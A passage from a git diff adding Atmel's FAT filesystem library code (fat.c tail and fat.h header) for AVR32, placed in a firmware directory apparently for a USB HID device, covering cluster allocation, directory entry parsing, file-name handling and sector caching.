cluster + + // Initialize cluster list caches before alloc routine + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // it is the same + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start += fs_g_nav.u8_BPB_SecPerClus; // Position of next cluster (the first new) + } + + // Alloc a cluster list + if( FS_CLUST_ACT_SEG == mode ) + { + fs_g_seg.u32_size_or_pos = u32_nb_sector_write; + }else{ + fs_g_seg.u32_size_or_pos = 1; // only one sector + } + + //note: fs_g_seg.u32_addr is already initialized with the last cluster value (see fat_cluster_list()) + if( !fat_allocfreespace()) + return false; + //note: fs_g_seg.u32_addr is the first cluster of the cluster list allocated by alloc_free_space() + //note: fs_g_seg.u32_size_or_pos = number of sectors remaining + + if( 0 == fs_g_nav_entry.u32_cluster ) + { + // It is the first cluster list of file, then update following values in cluster list cache + // fs_g_seg.u32_addr = already contzins the first cluster of the file (see alloc_free_space()) + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_seg.u32_addr; + // Update file entry + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; + } + + // Update cluster list cache + if( FS_CLUST_ACT_SEG == mode ) + { + fs_g_seg.u32_size_or_pos = u32_nb_sector_write - fs_g_seg.u32_size_or_pos; + }else{ + fs_g_seg.u32_size_or_pos = 1 - fs_g_seg.u32_size_or_pos; + } + fs_g_seg.u32_addr = ((fs_g_seg.u32_addr - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fat_cache_clusterlist_update_finish(); + + return fat_read_file( mode ); // load the new cluster list +} +#endif // FS_LEVEL_FEATURES + +//! This function fill the internal cache with a sector from current directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav.u32_cluster_sel_dir First cluster of current directory +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory (unit entry) +//! @endverbatim +//! +Bool fat_read_dir( void ) +{ + uint32_t u32_cluster_pos; + + // Compute the cluster list position corresponding of the current entry + u32_cluster_pos = fs_g_nav_fast.u16_entry_pos_sel_file >> (FS_512B_SHIFT_BIT - FS_SHIFT_B_TO_FILE_ENTRY); + + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_clusterlist_start == fs_g_nav.u32_cluster_sel_dir ) + && (fs_g_sectorcache.u32_clusterlist_pos == u32_cluster_pos ) ) + { + return true; // The internal cache contains the sector ascked + } + + // Get sector address corresponding at cluster list position + fs_g_seg.u32_addr = fs_g_nav.u32_cluster_sel_dir; + fs_g_seg.u32_size_or_pos = u32_cluster_pos; + if( fat_cluster_list( FS_CLUST_ACT_ONE, false ) ) + { + // Read the sector + fs_gu32_addrsector = fs_g_seg.u32_addr; + if( fat_cache_read_sector( true ) ) + { + // Update information about internal sector cache + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav.u32_cluster_sel_dir; + fs_g_sectorcache.u32_clusterlist_pos = u32_cluster_pos; + return true; + } + } + return false; +} + + + +//! This function checks the entry +//! +//! @param b_type entry type to compare (FS_FILE or FS_DIR) +//! +//! @return true, the entry is a short entry and correspond to b_type +//! @return false, otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_check( Bool b_type ) +{ + PTR_CACHE u8_ptr_entry; + uint8_t u8_first_byte, u8_seconde_byte; + uint8_t u8_attribut; + + u8_ptr_entry = fat_get_ptr_entry(); + + u8_first_byte = u8_ptr_entry[0]; + if ( FS_ENTRY_END == u8_first_byte ) + { + fs_g_status = FS_ERR_ENTRY_EMPTY; // end of directory + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default BAD ENTRY + if ( FS_ENTRY_DEL == u8_first_byte ) { return false; } // entry deleted + if ( '.' == u8_first_byte ) { return false; } // current dir "." + u8_seconde_byte = u8_ptr_entry[1]; + if ( ('.' == u8_first_byte) + && ('.' == u8_seconde_byte) ) { return false; } // current dir ".." + + // Check attribut + u8_attribut = u8_ptr_entry[11]; + if ( FS_ATTR_VOLUME_ID & u8_attribut ) { return false; } // volume id + // Optimization, this line isn't necessary because the next test control this case + // if ( FS_ATTR_LFN_ENTRY == *u8_ptr_entry) { return false; } // long file name + + // Check entry type + if( FS_ATTR_DIRECTORY & u8_attribut ) + { + return (FS_DIR == b_type); + }else{ + return (FS_FILE == b_type); + } +} + + +//! This function checks the file extension +//! +//! @param sz_filter extension filter is a ASCII string (ex: "mp3,w*" ) +//! +//! @return true, the file name have a good extension +//! @return false, otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_checkext( FS_STRING sz_filter ) +{ + PTR_CACHE u8_ptr_entry; + uint8_t u8_i, u8_filter_char, u8_entry_char; + + u8_ptr_entry = fat_get_ptr_entry(); + + // Compare the extension with filter + for( u8_i=0 ; u8_i<3 ; u8_i++) + { + u8_filter_char = *sz_filter; + if ('*' == u8_filter_char) + break; // All extension is good + + u8_entry_char = u8_ptr_entry[8+u8_i]; + + // Compare the extension filter to extension file (this one ignore the case) + if( (u8_filter_char!= u8_entry_char ) + && (u8_filter_char!= (u8_entry_char+('a'-'A'))) ) + { + if ( (',' == u8_filter_char) + || ( 0 == u8_filter_char) ) + { + // It is the end of filter + if (' ' == u8_entry_char) + break; // it is the end of extension file -> extension good + } + // here, bad extension + + // Search the next filter + while( ',' != u8_filter_char ) + { + if (0 == u8_filter_char) + { + return false; // it is the last filter + } + sz_filter++; + u8_filter_char = *sz_filter; + } + u8_i = 0xFF; // restart loop compare + } + sz_filter++; // go to next char of filter + } + + return true; // It is a good extension +} + + +//! This function reads information about selected file +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! OUT: +//! fs_g_nav_entry. u32_cluster, u8_attr, u32_size +//! @endverbatim +//! +void fat_get_entry_info( void ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + + // Get attribut + ptr_entry+= 11; + fs_g_nav_entry.u8_attr = ptr_entry[0]; + + // Get the first cluster of the file cluster list + ptr_entry += (20-11); + LSB2(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; + LSB3(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; + ptr_entry += (26-20); + LSB0(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; + LSB1(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; + + // Get the size of file + ptr_entry += (28-26); + LSB0(fs_g_nav_entry.u32_size) = ptr_entry[0]; + LSB1(fs_g_nav_entry.u32_size) = ptr_entry[1]; + LSB2(fs_g_nav_entry.u32_size) = ptr_entry[2]; + LSB3(fs_g_nav_entry.u32_size) = ptr_entry[3]; +} + + +//! This function checks if the entry file is a directory +//! +//! @return true, this entry is a directory +//! @return false, otherwise +//! +Bool fat_entry_is_dir(void) +{ + fs_g_status = FS_ERR_NO_DIR; + return (FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr); +} + + +//! This function resets the selection pointers +//! +void fat_clear_entry_info_and_ptr( void ) +{ + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; + if( !fs_g_nav.b_mode_nav_single ) + { + fs_g_nav.b_mode_nav = FS_DIR; + } + fs_g_nav_entry.u8_attr = 0; + fs_g_nav_entry.u32_cluster = 0; + fs_g_nav_entry.u32_size = 0; + Fat_file_close(); +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function writes the information about selected file +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! OUT: +//! fs_g_sector Updated +//! @endverbatim +//! +void fat_write_entry_file( void ) +{ + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + + if( !(FS_ATTR_DIRECTORY | fs_g_nav_entry.u8_attr)) + { + if( 0 == fs_g_nav_entry.u32_size ) + fs_g_nav_entry.u32_cluster = 0; + } + + //! Write the attribut + ptr_entry+= 11; + ptr_entry[0] = fs_g_nav_entry.u8_attr; + + // Write the first cluster of file cluster list + ptr_entry += (20-11); + ptr_entry[0] = LSB2(fs_g_nav_entry.u32_cluster); + ptr_entry[1] = LSB3(fs_g_nav_entry.u32_cluster); + ptr_entry += (26-20); + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_cluster); + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_cluster); + + //! Write the size of file + ptr_entry += (28-26); + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_size); + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_size); + ptr_entry[2] = LSB2(fs_g_nav_entry.u32_size); + ptr_entry[3] = LSB3(fs_g_nav_entry.u32_size); +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns or compares the short name entry +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the short name of selected file
+//! FS_NAME_CHECK to compare the short name of selected file
+//! @param sz_name if FS_NAME_GET then buffer to store the short name file (ASCII or UNICODE )
+//! if FS_NAME_CHECK then name to compare with short name (ASCII or UNICODE), +//! it must be terminate by NULL or '*' value
+//! @param u8_size_max buffer size (unit ASCII or UNICODE ) (ignored in "FS_NAME_CHECK" mode) +//! +//! @return false, in case of error, see global value "fs_g_status" for more detail +//! @return true, the name is correct or read OK +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_shortname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ) +{ + Bool b_extension_nostart = true; + uint8_t u8_pos_name; + uint8_t u8_entry_char, u8_szname_char; + PTR_CACHE ptr_entry; + uint8_t u8_pos_entry; + + fs_g_status = FS_ERR_NAME_INCORRECT; // by default the name don't corresponding at filter name + + u8_pos_name = 0; + u8_pos_entry = 0; + ptr_entry = fat_get_ptr_entry(); + + // for each characters of short name + while( 1 ) + { + if( FS_SIZE_SFNAME == u8_pos_entry ) + { + u8_entry_char = 0; // end of name + } + else + { + u8_entry_char = ptr_entry[ u8_pos_entry ]; + if( ((FS_SIZE_SFNAME_WITHOUT_EXT == u8_pos_entry) && b_extension_nostart) // end of name and '.' character no writed + || ( ' ' == u8_entry_char) ) + { + // end of name or extension + if( (FS_SIZE_SFNAME_WITHOUT_EXT >= u8_pos_entry) // End of name without extension + && (' ' != ptr_entry[ FS_SIZE_SFNAME_WITHOUT_EXT ]) ) // extension exists + { + // go to extension position + b_extension_nostart = false; + u8_pos_entry = FS_SIZE_SFNAME_WITHOUT_EXT-1; + u8_entry_char = '.'; + } + else + { + u8_entry_char = 0; // end of name + } + } + } + + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) + { + if(u8_pos_name >= (u8_size_max-1)) + u8_entry_char = 0; // buffer full then force end of string + + if( ('A'<=u8_entry_char) && (u8_entry_char<='Z')) + u8_entry_char += ('a'-'A'); // display short name in down case + + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_entry_char; + }else{ + sz_name[0] = u8_entry_char; + } + } + } + else + { + // Compare the name + if( Is_unicode + && (0 != MSB(((FS_STR_UNICODE)sz_name)[0])) ) + { + // The UNICODE is not possibled in short name + return false; + } + + if( Is_unicode ) + { + u8_szname_char = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u8_szname_char = sz_name[0]; + } + if ('*' == u8_szname_char) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( (0 != u8_entry_char) || (('\\' != u8_szname_char) && ('/' != u8_szname_char)) ) + { + if((u8_szname_char != u8_entry_char) + && (u8_szname_char != (u8_entry_char+('a'-'A'))) ) // no case sensitive + return false; // short name not equal + } + } + + // For each characters + if (0 == u8_entry_char) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; // Get length name + } + return true; // End of test correct or end of get name + } + if( !g_b_string_length ) + { + sz_name += (Is_unicode? 2 : 1 ); + } + u8_pos_name++; + u8_pos_entry++; + } +} + + +//! This function returns or compares the long name entry +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the long name of selected file
+//! FS_NAME_CHECK to compare the long name of selected file
+//! @param sz_name if FS_NAME_GET then buffer to store the long name file (ASCII or UNICODE )
+//! if FS_NAME_CHECK then name to compare with long name (ASCII or UNICODE), +//! it must be terminate by NULL or '*' value
+//! +//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action mode) +//! @param u8_size_max buffer size (unit ASCII or UNICODE ) (ignored in "FS_NAME_CHECK" mode) +//! +//! @return false is not the end of long name, or in case of error, see global value "fs_g_status" for more detail +//! @return true, the name is correct or read is finish +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_longname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ + uint8_t u8_pos_name; + PTR_CACHE ptr_entry; + uint16_t u16_unicode_entry; + uint16_t u16_unicode_szname; + + ptr_entry = fat_get_ptr_entry(); + + if( (FS_ENTRY_END == *ptr_entry ) // end of directory + || (FS_ENTRY_DEL == *ptr_entry ) // entry deleted + || (FS_ATTR_LFN_ENTRY != ptr_entry[11]) ) // no long name + { + fs_g_status = FS_ERR_ENTRY_BAD; + return false; + } + + if( g_b_string_length ) + { + if ( 0 == (FS_ENTRY_LFN_LAST & *ptr_entry)) + { + // no necessary -> ((FS_STR_UNICODE)sz_name)[0] = FS_SIZE_LFN_ENTRY; + fs_g_status = FS_NO_LAST_LFN_ENTRY; + return false; // Other entry long name + } + } + + ptr_entry++; // The long name start at offset 1 of the entry file + + u8_pos_name=0; + while( 1 ) + { + LSB(u16_unicode_entry) = ptr_entry[0]; + MSB(u16_unicode_entry) = ptr_entry[1]; + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) + { + // Check the end of buffer + if( u8_pos_name>=(u8_size_max-1) ) + { + // Write end of string + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; + } + return true; // the buffer is full + } + // Read and store the long name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u16_unicode_entry; + }else{ + sz_name[0] = (uint8_t)u16_unicode_entry; + } + } + } + else + { + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + // Check the name + if( '*' == u16_unicode_szname ) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( ((0 != u16_unicode_entry ) || (( '\\' != u16_unicode_szname) && ( '/' != u16_unicode_szname)) ) + && ((u16_unicode_szname != (u16_unicode_entry+('a'-'A'))) || b_match_case) + && ((u16_unicode_szname != (u16_unicode_entry-('a'-'A'))) || b_match_case) + && (u16_unicode_szname != u16_unicode_entry) ) + { + fs_g_status = FS_ERR_NAME_INCORRECT; // The name don't corresponding at filter name + return false; + } + } + + if( 0 == u16_unicode_entry) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; + } + return true; // Last long name entry + } + if( 4 == u8_pos_name ) + ptr_entry += 3; // Go to second character + + if( 10 == u8_pos_name ) + ptr_entry += 2; // Go to third character + + if( 12 == u8_pos_name ) + { // End of entry long name + ptr_entry -= (FS_SIZE_FILE_ENTRY-2); // Go to the first byte of the file entry + if ( 0 == (FS_ENTRY_LFN_LAST & ptr_entry[0])) + { + fs_g_status = FS_NO_LAST_LFN_ENTRY; + return false; // Other long name entry is present + } + else + { // It is the last long name entry + // then it is the end of name + if( (FS_NAME_GET == b_mode) && g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = 14; + return true; + } + sz_name += (Is_unicode? 2 : 1 ); + if( FS_NAME_GET == b_mode ) + { + // Write end of string UNICODE + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; + } + return true; + } + else + { + // if it is the end of filter + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + return fat_check_eof_name(u16_unicode_szname); + } + } + } + + if( !g_b_string_length ) + { + sz_name += (Is_unicode? 2 : 1 ); + } + u8_pos_name++; + ptr_entry+=2; + } +} + + +//! Check end of name +//! +//! @param character value of character to check +//! +//! @return true, it is a character to signal a end of name (0,'\\','/') +//! @return false, otherwise +//! +Bool fat_check_eof_name( uint16_t character ) +{ + return (('\0'==character)||('\\'==character)||('/'==character)); +} + + +//! This function returns a cache pointer on the current entry +//! +//! @return a pointer on the internal cache +//! +PTR_CACHE fat_get_ptr_entry( void ) +{ + return &fs_g_sector[(fs_g_nav_fast.u16_entry_pos_sel_file * FS_SIZE_FILE_ENTRY) & FS_512B_MASK]; +} + + +//! This function loads a memory sector in internal cache sector +//! +//! @param b_load true, load the cache with the memory sector corresponding
+//! false, Don't change the sector cache but change the memory address of cache
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav.u8_lun drive number to read +//! fs_gu32_addrsector address to read (unit sector) +//! @endverbatim +//! +Bool fat_cache_read_sector( Bool b_load ) +{ + // Check if the sector asked is the same in cache + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_addr == fs_gu32_addrsector ) ) + { + return true; + } + + // Write previous cache before fill cache with a new sector + if( !fat_cache_flush()) + return false; + + // Delete informations about the caches + fat_cache_reset(); + + // Init sector cache + fs_g_sectorcache.u32_addr = fs_gu32_addrsector; + if( b_load ) + { + // Load the sector from memory + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_sectorcache.u32_addr, fs_g_sector)) + { + fs_g_status = FS_ERR_HW; + return false; + } + } + // Valid sector cache + fs_g_sectorcache.u8_lun = fs_g_nav.u8_lun; + return true; +} + + +//! This function resets the sector cache +//! +void fat_cache_reset( void ) +{ + fs_g_sectorcache.u8_lun = FS_BUF_SECTOR_EMPTY; + fs_g_sectorcache.u8_dirty = false; + fs_g_sectorcache.u32_clusterlist_start = 0xFFFFFFFF; +} + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the sector cache +//! +void fat_cache_clear( void ) +{ + memset( fs_g_sector , 0 , FS_CACHE_SIZE ); +} + + +//! This function sets a flag to signal that sector cache is modified +//! +void fat_cache_mark_sector_as_dirty( void ) +{ + fs_g_sectorcache.u8_dirty = true; +} +#endif // FS_LEVEL_FEATURES + + +//! This function flushs the sector cache on the memory if necessary +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_cache_flush( void ) +{ + // If the cache is modified, then write the sector cache on the device + if ( true == fs_g_sectorcache.u8_dirty ) + { + fs_g_sectorcache.u8_dirty = false; // Always clear, although an error occur + if( mem_wr_protect( fs_g_sectorcache.u8_lun )) + { + fs_g_status = FS_LUN_WP; + return false; + } + if (CTRL_GOOD != ram_2_memory( fs_g_sectorcache.u8_lun , fs_g_sectorcache.u32_addr , fs_g_sector )) + { + fs_g_status = FS_ERR_HW; + return false; + } + } + return true; +} + + + +#if (FS_NB_NAVIGATOR > 1) +//! This function checks write access +//! +//! @return true, write access on disk possibled +//! @return false, File open then write access not possibled +//! +Bool fat_check_nav_access_disk( void ) +{ + uint8_t i; + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) + // Is it access file ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) + { + fs_g_status = FS_ERR_FILE_OPEN; + return false; // File opened then write access not possibled + } + } + return true; +} + + +//! This function checks all access at current file +//! +//! @param mode true, check to write access
+//! false, check to read access
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail :
+//! mode true, File opened then write access not possibles
+//! mode false, File opened in write mode then read access not possibles
+//! @return true, access file possibles +//! +Bool fat_check_nav_access_file( Bool mode ) +{ + uint8_t i; + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) +#if (FS_MULTI_PARTITION == ENABLED) + // Is it the same partition ? + if( fs_g_nav.u8_partition == fs_g_navext[i].u8_partition ) +#endif + // Is it the same directory ? + if( fs_g_nav.u32_cluster_sel_dir == fs_g_navext[i].u32_cluster_sel_dir ) + // Is it the same file ? + if( fs_g_nav_fast.u16_entry_pos_sel_file == fs_g_navext_fast[i].u16_entry_pos_sel_file ) + { + if( mode ) + { + // Is it open ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) + { + fs_g_status = FS_ERR_FILE_OPEN; + return false; // File opened then write access not possibled + } + } + else + { + // Is it open in write mode ? + if( fs_g_navext_entry[i].u8_open_mode & FOPEN_WRITE_ACCESS ) + { + fs_g_status = FS_ERR_FILE_OPEN_WR; + return false; // File opened in write mode then read access not possibled + } + } + } + } + return true; +} + + +//! This function inverts the current navigation with another +//! +//! @param u8_idnav Id navigator to invert +//! +void fat_invert_nav( uint8_t u8_idnav ) +{ + _MEM_TYPE_SLOW_ uint8_t Temp[Max(Max(sizeof(Fs_management),sizeof(Fs_management_entry)),sizeof(Fs_management_fast))]; + + if( u8_idnav == 0 ) + return; + u8_idnav--; + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav, sizeof(Fs_management)); + memcpy_ram2ram((uint8_t*)&fs_g_nav, (uint8_t*)&fs_g_navext[u8_idnav], sizeof(Fs_management)); + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], Temp, sizeof(Fs_management)); + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_entry, sizeof(Fs_management_entry)); + memcpy_ram2ram((uint8_t*)&fs_g_nav_entry, (uint8_t*)&fs_g_navext_entry[u8_idnav], sizeof(Fs_management_entry)); + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], Temp, sizeof(Fs_management_entry)); + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_fast, sizeof(Fs_management_fast)); + memcpy_ram2ram((uint8_t*)&fs_g_nav_fast, (uint8_t*)&fs_g_navext_fast[u8_idnav], sizeof(Fs_management_fast)); + memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], Temp, sizeof(Fs_management_fast)); +} + + +//! This function copys the main navigator to another navigator +//! +//! @param u8_idnav Id navigator to fill +//! +void fat_copy_nav( uint8_t u8_idnav ) +{ + if( 0 != u8_idnav) + { + u8_idnav--; + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], (uint8_t*)&fs_g_nav , sizeof(Fs_management) ); + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], (uint8_t*)&fs_g_nav_entry , sizeof(Fs_management_entry) ); + memcpy_ram2ram((uint8_t*)&fs_g_navext_fast[u8_idnav], (uint8_t*)&fs_g_nav_fast , sizeof(Fs_management_fast) ); + fs_g_navext_entry[u8_idnav].u8_open_mode=0; // Clear open file flag + } +} + +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h new file mode 100755 index 0000000..48f90e2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h @@ -0,0 +1,541 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT services + * + * This file is the header for FAT services + * + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _FAT_H_ +#define _FAT_H_ + +#include "fs_com.h" + +//! @verbatim +//! - File system vocabulary : +//! MBR : Master Boot Record (constains four PE) +//! PE : Partition Entry (constains a location informations about PBR) +//! PBR : Partition Boot Record +//! BPB : BIOS Parameter Block (see Hardware White Paper FAT) +//! PBR = BPB +//! FAT : File Allocation Table +//! @endverbatim + + +#undef _GLOBEXT_ +#if (defined _fat_c_) +# define _GLOBEXT_ +#else +# define _GLOBEXT_ extern +#endif + +//_____ I N C L U D E S ____________________________________________________ + + +//_____ M A C R O S ________________________________________________________ + + +// To optimize the code +#if (FS_FAT_12 == ENABLED) +# define Is_fat12 (FS_TYPE_FAT_12 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat12 (0) +#endif +#if (FS_FAT_16 == ENABLED) +# define Is_fat16 (FS_TYPE_FAT_16 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat16 (0) +#endif +#if (FS_FAT_32 == ENABLED) +# define Is_fat32 (FS_TYPE_FAT_32 == fs_g_nav_fast.u8_type_fat) +#else +# define Is_fat32 (0) +#endif + +// Tor optimize the code +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) +# define Is_unicode (g_b_unicode) +#elif (FS_ASCII == ENABLED) +# define Is_unicode (0) +#elif (FS_UNICODE == ENABLED) +# define Is_unicode (1) +#else +# error You must define FS_ASCII or/and FS_UNICODE enable in conf_explorer.h +#endif + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//**** Definitions corresponding at the FAT norm **** + +//! Position (unit byte) in the MBR of a partition entry +#define FS_MBR_OFFSET_PART_ENTRY( num ) ((uint16_t)((uint16_t)(0x1BE)+(0x10 * num))) // Partition entry num (0 to 4) + + +//! \name Macro to access at fields in BPB sector (only used in fat_mount() function) +//! The name prefixed by "BPB_" are defined in "Hardware White Paper FAT" +//! @{ +#define LOW_16_BPB_BytsPerSec fs_g_sector[11] +#define HIGH_16_BPB_BytsPerSec fs_g_sector[12] +#define U8_BPB_SecPerClus fs_g_sector[13] +#define LOW_16_BPB_RootEntCnt fs_g_sector[17] +#define HIGH_16_BPB_RootEntCnt fs_g_sector[18] +#define LOW_16_BPB_FATSz16 fs_g_sector[22] +#define HIGH_16_BPB_FATSz16 fs_g_sector[23] +#define LOW0_32_BPB_FATSz32 fs_g_sector[36] +#define LOW1_32_BPB_FATSz32 fs_g_sector[37] +#define LOW2_32_BPB_FATSz32 fs_g_sector[38] +#define LOW3_32_BPB_FATSz32 fs_g_sector[39] +#define LOW_16_BPB_TotSec16 fs_g_sector[19] +#define HIGH_16_BPB_TotSec16 fs_g_sector[20] +#define LOW0_32_BPB_TotSec32 fs_g_sector[32] +#define LOW1_32_BPB_TotSec32 fs_g_sector[33] +#define LOW2_32_BPB_TotSec32 fs_g_sector[34] +#define LOW3_32_BPB_TotSec32 fs_g_sector[35] +#define LOW_16_BPB_ResvSecCnt fs_g_sector[14] +#define HIGH_16_BPB_ResvSecCnt fs_g_sector[15] +#define U8_BPB_NumFATs fs_g_sector[16] +#define LOW0_32_BPB_RootClus fs_g_sector[44] +#define LOW1_32_BPB_RootClus fs_g_sector[45] +#define LOW2_32_BPB_RootClus fs_g_sector[46] +#define 